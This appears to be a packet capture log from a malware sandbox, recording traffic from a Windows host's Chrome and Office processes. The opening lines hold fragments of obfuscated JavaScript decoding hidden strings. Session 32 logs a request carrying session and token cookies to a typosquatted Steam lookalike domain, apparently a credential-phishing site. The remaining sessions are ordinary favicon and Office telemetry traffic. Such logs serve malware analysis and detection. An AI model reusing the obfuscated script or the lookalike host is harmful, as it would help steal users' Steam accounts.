dcbYO6[QhtqHI<0x46?QhtqHI>0x46?QhtqHI-0x42:QhtqHI<0x46?QhtqHI<0x21?QhtqHI-0x46:QhtqHI>0x46?QhtqHI+0x51:QhtqH
2024-10-07 06:47:00 UTC	1369	IN	Data Raw: 5d 28 6f 78 65 45 62 49 28 30 78 34 39 29 2c 5b 30 78 36 5d 29 2c 71 30 65 62 77 72 57 3d 67 62 74 51 6d 68 28 6f 78 65 45 62 49 28 30 78 34 37 29 29 29 3b 66 75 6e 63 74 69 6f 6e 20 49 30 49 65 63 54 64 28 50 49 44 66 41 54 7a 2c 45 65 78 66 6b 71 31 29 7b 76 61 72 20 4b 33 35 41 47 51 3d 51 72 76 66 5f 62 7a 28 50 49 44 66 41 54 7a 3d 3e 7b 72 65 74 75 72 6e 20 64 63 62 59 4f 36 5b 50 49 44 66 41 54 7a 3c 30 78 35 65 3f 50 49 44 66 41 54 7a 3c 30 78 33 39 3f 50 49 44 66 41 54 7a 2d 30 78 34 64 3a 50 49 44 66 41 54 7a 3c 30 78 33 39 3f 50 49 44 66 41 54 7a 2b 30 78 36 30 3a 50 49 44 66 41 54 7a 3e 30 78 33 39 3f 50 49 44 66 41 54 7a 3c 30 78 33 39 3f 50 49 44 66 41 54 7a 2d 30 78 31 66 3a 50 49 44 66 41 54 7a 3c 30 78 33 39 3f 50 49 44 66 41 54 7a 2d 30 Data Ascii: ](oxeEbI(0x49),[0x6]),q0ebwrW=gbtQmh(oxeEbI(0x47)));function I0IecTd(PIDfATz,Eexfkq1){var K35AGQ=Qrvf_bz(PIDfATz=>{return dcbYO6[PIDfATz<0x5e?PIDfATz<0x39?PIDfATz-0x4d:PIDfATz<0x39?PIDfATz+0x60:PIDfATz>0x39?PIDfATz<0x39?PIDfATz-0x1f:PIDfATz<0x39?PIDfATz-0
2024-10-07 06:47:00 UTC	1369	IN	Data Raw: 28 2d 4b 33 35 41 47 51 28 2d 30 78 31 38 29 29 29 2c 49 30 49 65 63 54 64 28 30 78 62 62 2c 6c 78 33 64 42 4f 4a 3d 2d 30 78 32 32 29 29 29 2c 57 58 70 39 77 36 28 2d 4b 33 35 41 47 51 28 2d 30 78 31 38 29 29 29 2f 30 78 31 2b 49 30 49 65 63 54 64 28 70 61 72 73 65 49 6e 74 28 51 68 74 71 48 49 28 49 30 49 65 63 54 64 28 30 78 61 66 2c 57 58 70 39 77 36 28 2d 30 78 32 32 29 29 2c 49 30 49 65 63 54 64 28 30 78 62 32 2c 57 58 70 39 77 36 28 2d 30 78 32 32 29 29 29 29 2c 6c 78 33 64 42 4f 4a 3d 2d 30 78 32 32 29 2f 4b 33 35 41 47 51 28 2d 30 78 61 29 2b 70 61 72 73 65 49 6e 74 28 51 68 74 71 48 49 28 49 30 49 65 63 54 64 28 30 78 39 32 2c 57 58 70 39 77 36 28 2d 30 78 32 32 29 29 2c 49 30 49 65 63 54 64 28 30 78 61 33 2c 6c 78 33 64 42 4f 4a 3d 2d 62 4a 53 Data Ascii: (-K35AGQ(-0x18))),I0IecTd(0xbb,lx3dBOJ=-0x22))),WXp9w6(-K35AGQ(-0x18)))/0x1+I0IecTd(parseInt(QhtqHI(I0IecTd(0xaf,WXp9w6(-0x22)),I0IecTd(0xb2,WXp9w6(-0x22)))),lx3dBOJ=-0x22)/K35AGQ(-0xa)+parseInt(QhtqHI(I0IecTd(0x92,WXp9w6(-0x22)),I0IecTd(0xa3,lx3dBOJ=-bJS
2024-10-07 06:47:00 UTC	1369	IN	Data Raw: 30 78 31 38 3f 50 49 44 66 41 54 7a 3c 30 78 31 38 3f 50 49 44 66 41 54 7a 3c 30 78 31 38 3f 50 49 44 66 41 54 7a 3e 2d 30 78 64 3f 50 49 44 66 41 54 7a 3c 2d 30 78 64 3f 50 49 44 66 41 54 7a 2d 30 78 35 35 3a 50 49 44 66 41 54 7a 3e 2d 30 78 64 3f 50 49 44 66 41 54 7a 3e 2d 30 78 64 3f 50 49 44 66 41 54 7a 3e 2d 30 78 64 3f 50 49 44 66 41 54 7a 3e 2d 30 78 64 3f 50 49 44 66 41 54 7a 2b 30 78 63 3a 50 49 44 66 41 54 7a 2b 30 78 31 64 3a 50 49 44 66 41 54 7a 2d 30 78 31 37 3a 50 49 44 66 41 54 7a 2b 30 78 34 65 3a 50 49 44 66 41 54 7a 2d 30 78 35 36 3a 50 49 44 66 41 54 7a 2b 30 78 66 3a 50 49 44 66 41 54 7a 2b 30 78 34 37 3a 50 49 44 66 41 54 7a 2b 30 78 31 31 3a 50 49 44 66 41 54 7a 2d 30 78 32 63 5d 7d 2c 30 78 31 29 3b 76 6f 69 64 28 77 69 6e 64 6f 77 Data Ascii: 0x18?PIDfATz<0x18?PIDfATz<0x18?PIDfATz>-0xd?PIDfATz<-0xd?PIDfATz-0x55:PIDfATz>-0xd?PIDfATz>-0xd?PIDfATz>-0xd?PIDfATz>-0xd?PIDfATz+0xc:PIDfATz+0x1d:PIDfATz-0x17:PIDfATz+0x4e:PIDfATz-0x56:PIDfATz+0xf:PIDfATz+0x47:PIDfATz+0x11:PIDfATz-0x2c]},0x1);void(window
2024-10-07 06:47:00 UTC	1369	IN	Data Raw: 51 6d 68 28 30 78 32 31 29 2c 6c 59 4f 41 6d 75 6e 5b 6f 78 65 45 62 49 28 30 78 34 64 29 5d 2c 67 62 74 51 6d 68 28 30 78 32 33 29 2c 50 49 44 66 41 54 7a 5b 51 68 74 71 48 49 28 2d 30 78 35 37 29 5d 2c 67 62 74 51 6d 68 28 30 78 32 35 29 2c 67 62 74 51 6d 68 28 30 78 32 36 29 2c 67 62 74 51 6d 68 28 51 68 74 71 48 49 28 2d 30 78 34 37 29 29 2c 50 49 44 66 41 54 7a 5b 51 68 74 71 48 49 28 2d 30 78 34 36 29 5d 2c 67 62 74 51 6d 68 28 30 78 32 39 29 2c 67 62 74 51 6d 68 28 30 78 32 61 29 2c 66 6d 35 38 58 43 6e 5b 6f 78 65 45 62 49 28 30 78 35 30 29 5d 2c 67 62 74 51 6d 68 28 30 78 32 63 29 2c 67 62 74 51 6d 68 28 30 78 32 64 29 2c 67 62 74 51 6d 68 2e 63 61 6c 6c 28 6f 78 65 45 62 49 28 30 78 34 39 29 2c 6f 78 65 45 62 49 28 30 78 35 31 29 29 2c 67 62 74 Data Ascii: Qmh(0x21),lYOAmun[oxeEbI(0x4d)],gbtQmh(0x23),PIDfATz[QhtqHI(-0x57)],gbtQmh(0x25),gbtQmh(0x26),gbtQmh(QhtqHI(-0x47)),PIDfATz[QhtqHI(-0x46)],gbtQmh(0x29),gbtQmh(0x2a),fm58XCn[oxeEbI(0x50)],gbtQmh(0x2c),gbtQmh(0x2d),gbtQmh.call(oxeEbI(0x49),oxeEbI(0x51)),gbt
2024-10-07 06:47:00 UTC	1369	IN	Data Raw: 33 63 30 29 2c 27 27 29 2c 55 4c 6d 73 6f 52 30 5b 67 62 74 51 6d 68 28 30 78 31 63 29 5d 28 62 4a 53 6f 56 4b 28 30 78 33 65 36 2c 30 78 33 64 32 29 2c 72 79 45 50 37 38 79 29 2c 55 4c 6d 73 6f 52 30 5b 66 6d 35 38 58 43 6e 5b 30 78 33 5d 5d 28 67 62 74 51 6d 68 28 30 78 33 36 29 2c 77 69 6e 64 6f 77 5b 62 4a 53 6f 56 4b 28 45 65 78 66 6b 71 31 28 30 78 34 29 2c 30 78 33 63 65 29 5d 5b 72 79 45 50 37 38 79 5d 29 2c 51 68 74 71 48 49 5b 62 4a 53 6f 56 4b 28 30 78 33 65 30 2c 45 65 78 66 6b 71 31 28 30 78 35 29 29 5d 28 55 4c 6d 73 6f 52 30 29 29 7d 63 6f 6e 73 74 20 42 6f 70 5a 4c 61 4d 3d 49 30 49 65 63 54 64 28 77 69 6e 64 6f 77 5b 62 4a 53 6f 56 4b 28 30 78 33 62 37 2c 30 78 33 63 65 29 5d 5b 62 4a 53 6f 56 4b 28 30 78 33 62 38 2c 30 78 33 62 61 29 5d Data Ascii: 3c0),''),ULmsoR0[gbtQmh(0x1c)](bJSoVK(0x3e6,0x3d2),ryEP78y),ULmsoR0[fm58XCn[0x3]](gbtQmh(0x36),window[bJSoVK(Eexfkq1(0x4),0x3ce)][ryEP78y]),QhtqHI[bJSoVK(0x3e0,Eexfkq1(0x5))](ULmsoR0))}const BopZLaM=I0IecTd(window[bJSoVK(0x3b7,0x3ce)][bJSoVK(0x3b8,0x3ba)]
2024-10-07 06:47:00 UTC	1369	IN	Data Raw: 3d 5b 5d 29 3b 6c 65 74 20 42 6f 70 5a 4c 61 4d 3d 61 74 6f 62 28 50 49 44 66 41 54 7a 5b 72 79 45 50 37 38 79 3d 5b 30 78 34 62 34 2c 30 78 34 62 66 5d 2c 62 4a 53 6f 56 4b 28 67 62 74 51 6d 68 28 55 4c 6d 73 6f 52 30 28 30 78 34 35 29 29 29 5d 28 2f 5c 73 2b 2f 67 2c 27 27 29 5b 72 79 45 50 37 38 79 3d 5b 30 78 34 63 39 2c 30 78 34 62 66 5d 2c 6e 65 77 20 62 4a 53 6f 56 4b 28 4b 33 35 41 47 51 5b 6f 78 65 45 62 49 28 30 78 35 63 29 5d 2c 6f 78 65 45 62 49 28 30 78 34 39 29 2c 45 65 78 66 6b 71 31 29 2e 68 4a 6b 6e 54 5f 5d 28 2f 2d 2f 67 2c 27 2b 27 29 5b 72 79 45 50 37 38 79 3d 5b 30 78 34 63 65 2c 30 78 34 62 66 5d 2c 62 4a 53 6f 56 4b 28 67 62 74 51 6d 68 28 30 78 33 38 29 29 5d 28 2f 5f 2f 67 2c 27 2f 27 29 29 3b 72 65 74 75 72 6e 20 64 65 63 6f 64 Data Ascii: =[]);let BopZLaM=atob(PIDfATz[ryEP78y=[0x4b4,0x4bf],bJSoVK(gbtQmh(ULmsoR0(0x45)))](/\s+/g,'')[ryEP78y=[0x4c9,0x4bf],new bJSoVK(K35AGQ[oxeEbI(0x5c)],oxeEbI(0x49),Eexfkq1).hJknT_](/-/g,'+')[ryEP78y=[0x4ce,0x4bf],bJSoVK(gbtQmh(0x38))](/_/g,'/'));return decod

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	49763	104.21.91.169	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:00 UTC	1161	OUT	GET /721d7f512e0801525b03025374095a52090a5905 HTTP/1.1 Host: sneamcomnnumnlty.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.MOlHHgI6p8xxSnoV1cI2Z9L1a-GFOrfU.C-V_ugttOowzCm9y.SFg0RklYU8UoqIKEDpm9zydFbeB3Z-O2Z92huwcwRlDAkGEIdAqaPyPe-1k5wfq1oaAYkj9tNAT25YbYvo_5daiVZIs_f3X5SSqXIkh-FJS2GMr7q_GeT1BXc6k7wVlKNW9aLA7xBD1vblF07Yn_gHqiHSDsjOJrI1NuDbAzjh8VhgeCTLt3qcI8BkvqV9DMzySiKx77hWHK4WxzYn-Y_7TMJdOCCmnCeQX3XieZUPidY2AcFkPid3CBdqo.ebEFj8Ye00GZPYTIzE3-Ow; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6ODUsInNlY3JldCI6IjZkMTBjOWIxM2ZhODdlNTNiYzdiMWJkZmY3YjIyMzA0Iiwic2VydmljZSI6IlN0ZWFtIn0.qKJ-QMVd1Mpks51lieRtA8L1pcwabxsxLWWN5yq_i5I; accessToken=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.FqIuhJWonROZ6dAoZUtqwmnhRFjGL9Hu.J_ticQ68Ss1dwbiT.04b5rDuCc1FH4fbOPV1lYSN1FTziFQE8cNodrfcmuOu7kVho7BWmOv_P3IKhqLoJLgjzkX7gOmOSsbUtaG46XrO1.qhVJHHtnsMhHTce6gpngrg
2024-10-07 06:47:00 UTC	984	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:00 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=piqeWAoSrmsVLf48Lqismep%2Bg7%2BayNAIk7guJ6DtWuGLSkCy9n%2BDYR3ADR08wPbAaGLFFSNjnm2TKf20ezr8WMizQNPDwMUNpwYVNzmYSb0hDl2CVuQ6E9BRLq2RSZ%2Fy4ILBVW8IRQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cebeff4e80a43b5-EWR
2024-10-07 06:47:00 UTC	9	IN	Data Raw: 34 0d 0a 74 72 75 65 0d 0a Data Ascii: 4true
2024-10-07 06:47:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	49762	104.102.49.254	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:00 UTC	353	OUT	GET /favicon.ico HTTP/1.1 Host: steamcommunity.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:00 UTC	264	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/x-icon Cache-Control: public,max-age=86400 Expires: Mon, 12 Aug 2024 15:12:44 GMT Last-Modified: Tue, 18 Sep 2018 23:32:59 GMT Content-Length: 38554 Date: Mon, 07 Oct 2024 06:47:00 GMT Connection: close
2024-10-07 06:47:00 UTC	16120	IN	Data Raw: 00 00 01 00 05 00 10 10 00 00 01 00 20 00 68 04 00 00 56 00 00 00 18 18 00 00 01 00 20 00 88 09 00 00 be 04 00 00 20 20 00 00 01 00 20 00 a8 10 00 00 46 0e 00 00 30 30 00 00 01 00 20 00 a8 25 00 00 ee 1e 00 00 00 00 00 00 01 00 20 00 04 52 00 00 96 44 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a7 75 13 00 a6 74 13 07 a9 77 13 48 ac 7a 13 a8 ae 7c 13 e4 af 7d 13 fb af 7d 13 fb ae 7c 13 e4 ac 7a 13 a8 a9 77 13 49 a6 74 13 07 a7 75 13 00 00 00 00 00 00 00 00 00 a3 70 13 00 99 66 13 00 98 65 13 18 9c 6a 13 92 9e 6b 11 ee 9e 6b 0f ff 9f 6c 11 ff a0 6d 13 ff a0 6e 13 ff a0 6e 13 ff a0 6e 13 ff 9f 6d 13 ee 9c 6a 13 92 98 65 13 18 99 66 13 00 a3 71 12 00 8d Data Ascii: hV F00 % RD( utwHz\|}}\|zwItupfejkklmnnnmjefq
2024-10-07 06:47:01 UTC	16384	IN	Data Raw: 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b e2 34 1a 0a 5e 35 1a 0a 04 35 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 1a 0b 00 35 18 0b 01 33 1b 0b 3b 33 1b 0c be 33 1b 0c fc 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c fc 33 1b 0c be 33 1b 0b 3b 35 18 0b 01 34 Data Ascii: 444444444444444^55453;33333333333333333333333333333;54
2024-10-07 06:47:01 UTC	1978	IN	Data Raw: c2 72 30 6a 8e d8 e8 48 ec 76 1b 7e 5d a7 91 59 00 6e 8f af de 57 a0 71 ea bc 7e 7e ff ce 22 5e fb 64 25 d5 b5 75 27 04 ec b0 fc bd 3b 19 0a 64 4e 82 aa 29 2c 97 e6 9d c3 9a 55 00 c5 8b 9f 23 75 e6 cf 01 3e 47 f8 21 d0 3b 38 b9 8e 6f 25 fa 02 3a 7b 8e 14 b2 37 ab 90 77 e7 6f 64 ea b9 fd b9 f2 fc 73 38 ef dc fe 74 4b 8a b5 b6 12 1b c1 61 b7 1d 5f 99 3f f5 f1 28 f0 f8 03 e8 ba de e4 df d7 ba 3d 2c 5a bf d7 d8 db b7 59 db 7b 9d 98 5c 90 cf 2a 25 96 b2 45 cf 36 fb c1 16 7a 8d a8 bd a0 2d 40 f8 5e a8 24 34 96 09 04 14 14 97 d7 f0 f1 92 ad cc 5f b3 9b a1 7d 7b 70 c9 e4 e1 5c 3a 75 18 83 7b f7 b0 1c 8c 4e c0 48 38 da 70 26 e0 94 5f 4a bd 82 68 46 71 36 1c ec 3a b6 8b 60 d1 39 51 cc 03 76 b7 44 b1 9f 51 01 94 2c 7a 8e d4 d9 0f 79 81 f7 51 dc 00 92 18 52 61 c5 98 Data Ascii: r0jHv~]YnWq~~"^d%u';dN),U#u>G!;8o%:{7wods8tKa_?(=,ZY{\*%E6z-@^$4_}{p\:u{NH8p&_JhFq6:`9QvDQ,zyQRa
2024-10-07 06:47:01 UTC	4072	IN	Data Raw: af 7e be 9e 67 fe b3 8c 15 3b b2 f0 07 f4 26 e7 fc 88 b1 e5 97 1c 17 cd 23 b7 cd e4 b2 49 43 9a ed d4 35 6e 2f 4f fd 6b 09 9b f6 e7 37 7b 4d ab 74 b8 32 07 b4 a7 02 36 7f 5d e9 a7 8f 05 db 7d 83 57 00 00 d1 c3 2e 04 a5 79 80 3c 90 8b 11 89 0f 83 07 55 df 81 a1 a4 d2 85 dd 66 e3 82 91 7d 9b cd a0 9b 91 9a 40 df b4 24 d6 ef cd a5 bc c6 5d 1f dd f8 b8 22 d0 44 f0 eb 8a c2 f2 1a 56 ef ca 66 de 86 03 6c 3d 98 4f 95 cb 83 dd 66 c3 69 d7 d0 34 ad d1 3a 7c fe 00 35 6e 2f 59 85 15 2c da 74 80 97 e7 ae e3 4f 1f ad 64 e1 c6 03 54 d4 78 d0 44 4e 8b f7 7f 52 e7 57 10 17 1d c1 43 b7 4c e7 b6 d9 63 ce 98 09 f8 a3 15 3b f9 fb 67 eb 8c f8 81 61 f0 1e ac 12 82 02 59 c0 4f d1 e4 80 cd a7 53 bb 7f 69 d0 7d 57 42 a1 00 00 ba 5d f7 24 20 36 85 fe 08 f0 28 21 52 2e a1 40 29 45 Data Ascii: ~g;&#IC5n/Ok7{Mt26]}W.y<Uf}@$]"DVfl=Ofi4:\|5n/Y,tOdTxDNRWCLc;gaYOSi}WB]$ 6(!R.@)E

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.6	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:01 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:47:01 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:01 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 7cec3a6f-e01e-0033-3414-174695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064701Z-1657d5bbd48762wn1qw4s5sd3000000002z00000000085hv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:47:01 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.6	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:01 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:47:01 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:01 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 688d2aae-a01e-0084-3466-179ccd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064701Z-1657d5bbd482lxwq1dp2t1zwkc00000002t000000000eqdn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:47:01 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.6	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:01 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:47:01 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:01 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 40323690-a01e-0002-0100-175074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064701Z-1657d5bbd48xsz2nuzq4vfrzg8000000032g00000000156h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:47:01 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.6	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:01 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:47:01 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:01 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: d415a278-e01e-0051-6efe-1684b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064701Z-1657d5bbd482lxwq1dp2t1zwkc00000002u000000000bxh0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:47:01 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 